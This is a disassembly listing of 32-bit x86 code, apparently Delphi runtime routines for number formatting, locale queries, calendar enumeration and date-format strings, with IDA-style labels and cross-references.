		movsx	ecx, word ptr [ebp-2Ch]
		or	ecx, ecx
		jg	short loc_4048B9
		mov	al, 30h
		stosb
		jmp	short loc_4048E3
; ---------------------------------------------------------------------------


loc_4048B9:				; CODE XREF: sub_40489F+13j
		xor	ebx, ebx
		cmp	byte ptr [ebp+10h], 2
		jz	short loc_4048CB
		mov	eax, ecx
		dec	eax
		mov	bl, 3
		div	bl
		mov	bl, ah
		inc	ebx


loc_4048CB:				; CODE XREF: sub_40489F+20j
					; sub_40489F+36j ...
		call	sub_4047F2
		stosb
		dec	ecx
		jz	short loc_4048E3
		dec	ebx
		jnz	short loc_4048CB
		mov	al, [ebp-6]
		test	al, al
		jz	short loc_4048CB
		stosb
		mov	bl, 3
		jmp	short loc_4048CB
; ---------------------------------------------------------------------------


loc_4048E3:				; CODE XREF: sub_40489F+18j
					; sub_40489F+33j
		or	edx, edx
		jz	short locret_404903
		mov	al, [ebp-5]
		test	al, al
		jz	short loc_4048EF
		stosb


loc_4048EF:				; CODE XREF: sub_40489F+4Dj
		jecxz	short loc_4048FA
		mov	al, 30h


loc_4048F3:				; CODE XREF: sub_40489F+59j
		stosb
		dec	edx
		jz	short locret_404903
		inc	ecx
		jnz	short loc_4048F3


loc_4048FA:				; CODE XREF: sub_40489F:loc_4048EFj
					; sub_40489F+62j
		call	sub_4047F2
		stosb
		dec	edx
		jnz	short loc_4048FA

locret_404903:				; CODE XREF: sub_40489F+46j
					; sub_40489F+56j
		retn
sub_40489F	endp

; ---------------------------------------------------------------------------
		xor	ebx, ebx
		mov	bl, [ebp-0Dh]
		mov	ecx, 3
		cmp	byte ptr [ebp-2Ah], 0
		jz	short loc_40491C
		mov	bl, [ebp-0Eh]
		mov	ecx, 40Fh


loc_40491C:				; CODE XREF: CODE:00404912j
		cmp	bl, cl
		jbe	short loc_404922
		mov	bl, cl


loc_404922:				; CODE XREF: CODE:0040491Ej
		add	bl, ch
		lea	ebx, dword_404967[ebx+ebx*4]
		add	ebx, [ebp-14h]
		mov	ecx, 5


loc_404933:				; CODE XREF: CODE:00404955j
		mov	al, [ebx]
		cmp	al, 40h
		jz	short locret_404957
		push	ecx
		push	ebx
		cmp	al, 24h
		jz	short loc_404946
		cmp	al, 2Ah
		jz	short loc_40494D
		stosb
		jmp	short loc_404952
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: CODE:0040493Dj
		call	sub_404958
		jmp	short loc_404952
; ---------------------------------------------------------------------------


loc_40494D:				; CODE XREF: CODE:00404941j
		call	sub_40489F


loc_404952:				; CODE XREF: CODE:00404944j
					; CODE:0040494Bj
		pop	ebx
		pop	ecx
		inc	ebx
		loop	loc_404933

locret_404957:				; CODE XREF: CODE:00404937j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_404958	proc near		; CODE XREF: CODE:loc_404946p
		push	esi
		mov	esi, [ebp-0Ch]
		test	esi, esi
		jz	short loc_404965
		mov	ecx, [esi-4]
		rep movsb


loc_404965:				; CODE XREF: sub_404958+6j
		pop	esi
		retn
sub_404958	endp

; ---------------------------------------------------------------------------
dword_404967	dd 40402A24h		; DATA XREF: CODE:00404924r
; ---------------------------------------------------------------------------
		inc	eax
		sub	ah, [eax+eax*2]
		inc	eax
		inc	eax
		and	al, 20h
		sub	al, [eax+40h]
		sub	ah, [eax]
		and	al, 40h
		inc	eax
		sub	[edx+ebp], ah
		sub	[eax+2Dh], eax
		and	al, 2Ah
		inc	eax
		inc	eax
		and	al, 2Dh
		sub	al, [eax+40h]
		and	al, 2Ah
		sub	eax, 2A284040h
		and	al, 29h
		inc	eax
		sub	eax, 4040242Ah
		sub	ch, ds:2A404024h
		and	al, 2Dh
		inc	eax
		inc	eax
		sub	eax, 4024202Ah
		sub	eax, 402A2024h
		sub	ah, [eax]
		and	al, 2Dh
		inc	eax
		and	al, 20h
		sub	ch, ds:2D202440h
		sub	al, [eax+2Ah]
		sub	eax, 28402420h
		and	al, 20h
		sub	ch, [ecx]
		sub	[edx], ch
		and	[ecx+ebp], ah
; START	OF FUNCTION CHUNK FOR sub_4046FC


loc_4049CB:				; CODE XREF: sub_4046FC+D7j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4046FC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049D4	proc near		; CODE XREF: sub_4046FC+72p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00404BF7 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, eax
		mov	esi, edx
		mov	[ebp+var_4], 0
		cmp	cl, 0
		jz	short loc_4049F7
		call	sub_404B23
		jmp	loc_404BF7
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_4049D4+17j
		call	sub_404A01
		jmp	loc_404BF7
sub_4049D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A01	proc near		; CODE XREF: sub_4049D4:loc_4049F7p
		mov	ax, [esi+8]
		mov	edx, eax
		and	eax, 7FFFh
		jz	short loc_404A2C
		cmp	eax, 7FFFh
		jnz	short loc_404A37
		test	word ptr [esi+6], 8000h
		jz	short loc_404A2E
		cmp	dword ptr [esi], 0
		jnz	short loc_404A2B
		cmp	dword ptr [esi+4], 80000000h
		jz	short loc_404A2E


loc_404A2B:				; CODE XREF: sub_404A01+1Fj
		inc	eax


loc_404A2C:				; CODE XREF: sub_404A01+Bj
					; sub_404A01+AFj
		xor	edx, edx


loc_404A2E:				; CODE XREF: sub_404A01+1Aj
					; sub_404A01+28j
		mov	byte ptr [ebx+3], 0
		jmp	loc_404B04
; ---------------------------------------------------------------------------


loc_404A37:				; CODE XREF: sub_404A01+12j
		fld	tbyte ptr [esi]
		sub	eax, 3FFFh
		imul	eax, 4D10h
		sar	eax, 10h
		inc	eax
		mov	[ebp-8], eax
		mov	eax, 12h
		sub	eax, [ebp-8]
		fabs
		push	ebx
		mov	ebx, [ebp-4]
		call	sub_401734
		pop	ebx
		frndint
		mov	edi, [ebp-4]
		fld	tbyte ptr [edi+4090D4h]
		fcomp	st(1)
		fstsw	word ptr [ebp-0Ah]
		wait
		test	word ptr [ebp-0Ah], 4100h
		jz	short loc_404A82
		fidiv	dword ptr [edi+4090E0h]
		inc	dword ptr [ebp-8]


loc_404A82:				; CODE XREF: sub_404A01+76j
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		mov	edx, 9
		wait


loc_404A8E:				; CODE XREF: sub_404A01+A0j
		mov	al, [edx+ebp-19h]
		mov	ah, al
		shr	al, 4
		and	ah, 0Fh
		add	ax, 3030h
		stosw
		dec	edx
		jnz	short loc_404A8E
		xor	al, al
		stosb
		mov	edi, [ebp-8]
		add	edi, [ebp+8]
		jns	short loc_404AB5
		xor	eax, eax
		jmp	loc_404A2C
; ---------------------------------------------------------------------------


loc_404AB5:				; CODE XREF: sub_404A01+ABj
		cmp	edi, [ebp+0Ch]
		jb	short loc_404ABD
		mov	edi, [ebp+0Ch]


loc_404ABD:				; CODE XREF: sub_404A01+B7j
		cmp	edi, 12h
		jnb	short loc_404AE9
		cmp	byte ptr [ebx+edi+3], 35h
		jb	short loc_404AEE


loc_404AC9:				; CODE XREF: sub_404A01+D9j
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_404ADE
		inc	byte ptr [ebx+edi+3]
		cmp	byte ptr [ebx+edi+3], 39h
		ja	short loc_404AC9
		jmp	short loc_404AFD
; ---------------------------------------------------------------------------


loc_404ADE:				; CODE XREF: sub_404A01+CEj
		mov	word ptr [ebx+3], 31h
		inc	dword ptr [ebp-8]
		jmp	short loc_404AFD
; ---------------------------------------------------------------------------


loc_404AE9:				; CODE XREF: sub_404A01+BFj
		mov	edi, 12h


loc_404AEE:				; CODE XREF: sub_404A01+C6j
					; sub_404A01+FAj
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_404B0F
		cmp	byte ptr [ebx+edi+3], 30h
		jz	short loc_404AEE


loc_404AFD:				; CODE XREF: sub_404A01+DBj
					; sub_404A01+E6j
		mov	dx, [esi+8]


loc_404B01:				; CODE XREF: sub_404A01+110j
		mov	eax, [ebp-8]


loc_404B04:				; CODE XREF: sub_404A01+31j
		shr	dx, 0Fh
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
; ---------------------------------------------------------------------------


loc_404B0F:				; CODE XREF: sub_404A01+F3j
		xor	edx, edx
		jmp	short loc_404B01
sub_404A01	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 64000000h, 0E8000000h, 10000003h
		db 27h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_404B23	proc near		; CODE XREF: sub_4049D4+19p
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	ecx, eax
		or	ecx, edx
		jz	loc_404BE9
		or	edx, edx
		jns	short loc_404B3D
		neg	edx
		neg	eax
		sbb	edx, 0


loc_404B3D:				; CODE XREF: sub_404B23+11j
		xor	ecx, ecx
		mov	edi, [ebp+8]
		or	edi, edi
		jge	short loc_404B48
		xor	edi, edi


loc_404B48:				; CODE XREF: sub_404B23+21j
		cmp	edi, 4
		jl	short loc_404B6C
		mov	edi, 4


loc_404B52:				; CODE XREF: sub_404B23+3Bj
		inc	ecx
		sub	eax, 0A7640000h
		sbb	edx, 0DE0B6B3h
		jnb	short loc_404B52
		dec	ecx
		add	eax, 0A7640000h
		adc	edx, 0DE0B6B3h


loc_404B6C:				; CODE XREF: sub_404B23+28j
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], edx
		fild	qword ptr [ebp-20h]
		mov	edx, edi
		mov	eax, 4
		sub	eax, edx
		jz	short loc_404B8A
		mov	edi, [ebp-4]
		fidiv	dword ptr [edi+eax*4+404B0Fh]


loc_404B8A:				; CODE XREF: sub_404B23+5Bj
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		wait
		or	ecx, ecx
		jnz	short loc_404BB0
		mov	ecx, 9


loc_404B9A:				; CODE XREF: sub_404B23+89j
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4
		jnz	short loc_404BC3
		mov	al, ah
		and	al, 0Fh
		jnz	short loc_404BCA
		dec	ecx
		jnz	short loc_404B9A
		jmp	short loc_404BE9
; ---------------------------------------------------------------------------


loc_404BB0:				; CODE XREF: sub_404B23+70j
		mov	al, cl
		add	al, 30h
		stosb
		mov	ecx, 9


loc_404BBA:				; CODE XREF: sub_404B23+ABj
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4


loc_404BC3:				; CODE XREF: sub_404B23+80j
		add	al, 30h
		stosb
		mov	al, ah
		and	al, 0Fh


loc_404BCA:				; CODE XREF: sub_404B23+86j
		add	al, 30h
		stosb
		dec	ecx
		jnz	short loc_404BBA
		mov	eax, edi
		lea	ecx, [ebx+edx+3]
		sub	eax, ecx


loc_404BD8:				; CODE XREF: sub_404B23+BCj
		mov	byte ptr [edi],	0
		dec	edi
		cmp	byte ptr [edi],	30h
		jz	short loc_404BD8
		mov	edx, [esi+4]
		shr	edx, 1Fh
		jmp	short loc_404BF0
; ---------------------------------------------------------------------------


loc_404BE9:				; CODE XREF: sub_404B23+9j
					; sub_404B23+8Bj
		xor	eax, eax
		xor	edx, edx
		mov	[ebx+3], al


loc_404BF0:				; CODE XREF: sub_404B23+C4j
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
sub_404B23	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4049D4


loc_404BF7:				; CODE XREF: sub_4049D4+1Ej
					; sub_4049D4+28j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4049D4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C00	proc near		; CODE XREF: sub_404C74+1Cp
					; sub_404E88+27p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [ebp+arg_0]
		push	100h
		lea	ecx, [ebp+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4031B4	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_404C39
		mov	ecx, eax
		dec	ecx
		lea	edx, [ebp+var_100]
		mov	eax, ebx
		call	sub_4023D0
		jmp	short loc_404C42
; ---------------------------------------------------------------------------


loc_404C39:				; CODE XREF: sub_404C00+25j
		mov	eax, ebx
		mov	edx, esi
		call	sub_402338


loc_404C42:				; CODE XREF: sub_404C00+37j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_404C00	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404C4C	proc near		; CODE XREF: sub_405F88+ADp
					; sub_405F88+C0p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		push	2
		lea	eax, [esp+14h+var_10]
		push	eax
		push	esi
		push	edi
		call	sub_4031B4	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_404C6D
		mov	al, [esp+10h+var_10]
		jmp	short loc_404C6F
; ---------------------------------------------------------------------------


loc_404C6D:				; CODE XREF: sub_404C4C+1Aj
		mov	eax, ebx


loc_404C6F:				; CODE XREF: sub_404C4C+1Fj
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404C4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C74	proc near		; CODE XREF: sub_404CB0+46p
					; sub_404CB0+69p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		xor	ecx, ecx
		mov	edx, esi
		call	sub_404C00
		cmp	dword ptr [ebx], 0
		jnz	short loc_404CA7
		mov	eax, [ebp+var_4]
		mov	eax, [eax+edi*4]
		mov	edx, ebx
		call	sub_402F64


loc_404CA7:				; CODE XREF: sub_404C74+24j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_404C74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CB0	proc near		; CODE XREF: sub_405F88+23p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		push	ebp
		push	offset loc_404DC3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4031E4	; GetThreadLocale
		mov	[ebp+var_4], eax
		mov	ebx, 1
		mov	esi, offset dword_40A508
		mov	edi, offset dword_40A538


loc_404CE3:				; CODE XREF: sub_404CB0+83j
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, offset off_4090E4
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+44h]
		dec	eax
		call	sub_404C74
		pop	ecx
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_402338
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, offset off_409114
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+38h]
		dec	eax
		call	sub_404C74
		pop	ecx
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_402338
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 0Dh
		jnz	short loc_404CE3
		mov	ebx, 1
		mov	esi, offset dword_40A568
		mov	edi, offset dword_40A584


loc_404D44:				; CODE XREF: sub_404CB0+F6j
		lea	eax, [ebx+5]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	[ebp+var_8], edx
		push	ebp
		push	6
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset off_409144
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 31h
		call	sub_404C74
		pop	ecx
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_402338
		push	ebp
		push	6
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset off_409160
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 2Ah
		call	sub_404C74
		pop	ecx
		mov	edx, [ebp+var_18]
		mov	eax, edi
		call	sub_402338
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 8
		jnz	short loc_404D44
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404DCA


loc_404DB5:				; CODE XREF: sub_404CB0+118j
		lea	eax, [ebp+var_18]
		mov	edx, 4
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_404DC3:				; DATA XREF: sub_404CB0+11o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_404DB5
; ---------------------------------------------------------------------------


loc_404DCA:				; CODE XREF: sub_404CB0+112j
					; DATA XREF: sub_404CB0+100o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404CB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DD4	proc near		; DATA XREF: sub_404E88+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_404DE8
; ---------------------------------------------------------------------------


loc_404DE2:				; CODE XREF: sub_404DD4+1Cj
		cmp	ebx, 7
		jz	short loc_404E06
		inc	ebx


loc_404DE8:				; CODE XREF: sub_404DD4+Cj
		cmp	ds:dword_40A5AC[ebx*4],	0
		jnz	short loc_404DE2
		lea	eax, ds:40A5ACh[ebx*4]
		mov	edx, [ebp+arg_0]
		call	sub_4024B8
		mov	esi, 1


loc_404E06:				; CODE XREF: sub_404DD4+11j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_404DD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E10	proc near		; DATA XREF: sub_404E88+77o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_404E75
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_404E34
; ---------------------------------------------------------------------------


loc_404E2E:				; CODE XREF: sub_404E10+2Cj
		cmp	ebx, 7
		jz	short loc_404E5F
		inc	ebx


loc_404E34:				; CODE XREF: sub_404E10+1Cj
		cmp	ds:dword_40A5C8[ebx*4],	0FFFFFFFFh
		jnz	short loc_404E2E
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_4024B8
		mov	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_403F2C
		mov	ds:dword_40A5C8[ebx*4],	eax
		mov	esi, 1


loc_404E5F:				; CODE XREF: sub_404E10+21j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404E7C


loc_404E6C:				; CODE XREF: sub_404E10+6Aj
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_404E75:				; DATA XREF: sub_404E10+Ao
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_404E6C
; ---------------------------------------------------------------------------


loc_404E7C:				; CODE XREF: sub_404E10+64j
					; DATA XREF: sub_404E10+57o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_404E10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E88	proc near		; CODE XREF: sub_405F88+31p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_404F1F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4031E4	; GetThreadLocale
		mov	ecx, offset dword_404F34
		mov	edx, 100Bh
		call	sub_404C00
		mov	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_403F2C
		mov	esi, eax
		mov	eax, esi
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jnb	short loc_404F09
		push	4
		push	esi
		call	sub_4031E4	; GetThreadLocale
		push	eax
		push	offset sub_404DD4
		call	sub_40318C	; EnumCalendarInfoA
		mov	edx, 7
		mov	eax, offset dword_40A5CC


loc_404EEA:				; CODE XREF: sub_404E88+6Cj
		mov	dword ptr [eax], 0FFFFFFFFh
		add	eax, 4
		dec	edx
		jnz	short loc_404EEA
		push	3
		push	esi
		call	sub_4031E4	; GetThreadLocale
		push	eax
		push	offset sub_404E10
		call	sub_40318C	; EnumCalendarInfoA


loc_404F09:				; CODE XREF: sub_404E88+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404F26


loc_404F16:				; CODE XREF: sub_404E88+9Cj
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_404F1F:				; DATA XREF: sub_404E88+9o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_404F16
; ---------------------------------------------------------------------------


loc_404F26:				; CODE XREF: sub_404E88+96j
					; DATA XREF: sub_404E88+89o
		pop	esi
		pop	ecx
		pop	ebp
		retn
sub_404E88	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_404F34	dd 31h			; DATA XREF: sub_404E88+1Do

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F38	proc near		; CODE XREF: sub_405F88+11Cp
					; sub_405F88+149p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_405102
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, 1
		mov	eax, edi
		call	sub_4022E4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4031E4	; GetThreadLocale
		mov	ecx, offset dword_405118
		mov	edx, 1009h
		call	sub_404C00
		mov	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_403F2C
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jb	loc_4050D8
		mov	eax, ds:dword_40A5A4
		sub	eax, 4
		jz	short loc_404FAA
		add	eax, 0FFFFFFF3h
		sub	eax, 2
		jb	short loc_404FAA
		xor	eax, eax
		jmp	short loc_404FAC
; ---------------------------------------------------------------------------


loc_404FAA:				; CODE XREF: sub_404F38+64j
					; sub_404F38+6Cj
		mov	al, 1


loc_404FAC:				; CODE XREF: sub_404F38+70j
		test	al, al
		jz	short loc_404FE5
		jmp	short loc_404FD5
; ---------------------------------------------------------------------------


loc_404FB2:				; CODE XREF: sub_404F38+A6j
		mov	al, [esi+ebx-1]
		sub	al, 47h
		jz	short loc_404FD4
		sub	al, 20h
		jz	short loc_404FD4
		lea	eax, [ebp+var_C]
		mov	dl, [esi+ebx-1]
		call	sub_4024A8
		mov	edx, [ebp+var_C]
		mov	eax, edi
		call	sub_402564


loc_404FD4:				; CODE XREF: sub_404F38+80j
					; sub_404F38+84j
		inc	ebx


loc_404FD5:				; CODE XREF: sub_404F38+78j
		mov	eax, esi
		call	sub_40255C
		cmp	ebx, eax
		jle	short loc_404FB2
		jmp	loc_4050E7
; ---------------------------------------------------------------------------


loc_404FE5:				; CODE XREF: sub_404F38+76j
		mov	eax, edi
		mov	edx, esi
		call	sub_402338
		jmp	loc_4050E7
; ---------------------------------------------------------------------------


loc_404FF3:				; CODE XREF: sub_404F38+1A9j
		mov	al, [esi+ebx-1]
		and	eax, 0FFh
		bt	ds:dword_40909C, eax
		jnb	short loc_405033
		mov	edx, ebx
		mov	eax, esi
		call	sub_405C84
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		mov	eax, esi
		call	sub_402734
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_402564
		add	ebx, [ebp+var_4]
		jmp	loc_4050D8
; ---------------------------------------------------------------------------


loc_405033:				; CODE XREF: sub_404F38+CBj
		mov	edx, offset dword_40511C
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_4040B4
		test	eax, eax
		jnz	short loc_405059
		mov	eax, edi
		mov	edx, offset dword_405128
		call	sub_402564
		inc	ebx
		jmp	short loc_4050D7
; ---------------------------------------------------------------------------


loc_405059:				; CODE XREF: sub_404F38+110j
		mov	edx, offset aYyyy ; "yyyy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 4
		call	sub_4040B4
		test	eax, eax
		jnz	short loc_405081
		mov	eax, edi
		mov	edx, offset aEeee ; "eeee"
		call	sub_402564
		add	ebx, 3
		jmp	short loc_4050D7
; ---------------------------------------------------------------------------


loc_405081:				; CODE XREF: sub_404F38+136j
		mov	edx, offset aYy	; "yy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_4040B4
		test	eax, eax
		jnz	short loc_4050A7
		mov	eax, edi
		mov	edx, offset dword_405150
		call	sub_402564
		inc	ebx
		jmp	short loc_4050D7
; ---------------------------------------------------------------------------


loc_4050A7:				; CODE XREF: sub_404F38+15Ej
		mov	al, [esi+ebx-1]
		sub	al, 59h
		jz	short loc_4050B3
		sub	al, 20h
		jnz	short loc_4050C1


loc_4050B3:				; CODE XREF: sub_404F38+175j
		mov	eax, edi
		mov	edx, offset dword_40515C
		call	sub_402564
		jmp	short loc_4050D7
; ---------------------------------------------------------------------------


loc_4050C1:				; CODE XREF: sub_404F38+179j
		lea	eax, [ebp+var_14]
		mov	dl, [esi+ebx-1]
		call	sub_4024A8
		mov	edx, [ebp+var_14]
		mov	eax, edi
		call	sub_402564


loc_4050D7:				; CODE XREF: sub_404F38+11Fj
					; sub_404F38+147j ...
		inc	ebx


loc_4050D8:				; CODE XREF: sub_404F38+56j
					; sub_404F38+F6j
		mov	eax, esi
		call	sub_40255C
		cmp	ebx, eax
		jle	loc_404FF3


loc_4050E7:				; CODE XREF: sub_404F38+A8j
					; sub_404F38+B6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405109


loc_4050F4:				; CODE XREF: sub_404F38+1CFj
		lea	eax, [ebp+var_14]
		mov	edx, 4
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_405102:				; DATA XREF: sub_404F38+14o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------


loc_405109:				; CODE XREF: sub_404F38+1C9j
					; DATA XREF: sub_404F38+1B7o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404F38	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_405118	dd 31h			; DATA XREF: sub_404F38+34o
dword_40511C	dd 6767h, 0FFFFFFFFh, 3	; DATA XREF: sub_404F38:loc_405033o
dword_405128	dd 676767h		; DATA XREF: sub_404F38+114o
aYyyy		db 'yyyy',0             ; DATA XREF: sub_404F38:loc_405059o
		align 4
		dd 0FFFFFFFFh, 4
aEeee		db 'eeee',0             ; DATA XREF: sub_404F38+13Ao
		align 4
aYy		db 'yy',0               ; DATA XREF: sub_404F38:loc_405081o
		align 4
		dd 0FFFFFFFFh, 2
dword_405150	dd 6565h, 0FFFFFFFFh, 1	; DATA XREF: sub_404F38+162o
dword_40515C	dd 65h			; DATA XREF: sub_404F38+17Do

; =============== S U B	R O U T	I N E =======================================



sub_405160	proc near		; CODE XREF: CODE:004051CFp
		test	eax, eax
		jz	short locret_405169
		sub	eax, 1000h

locret_405169:				; CODE XREF: sub_405160+2j
		retn
sub_405160	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBA8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-4], ecx
		mov	ebx, edx
		mov	esi, eax
		push	1Ch
		lea	eax, [ebp-330h]
		push	eax
		push	ebx
		call	sub_4031FC	; VirtualQuery
		cmp	dword ptr [ebp-320h], 1000h
		jnz	short loc_4051B6
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, [ebp-32Ch]
		push	eax
		call	sub_4031BC	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4051D9


loc_4051B6:				; CODE XREF: CODE:00405198j
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, ds:dword_40A4C8
		push	eax
		call	sub_4031BC	; GetModuleFileNameA
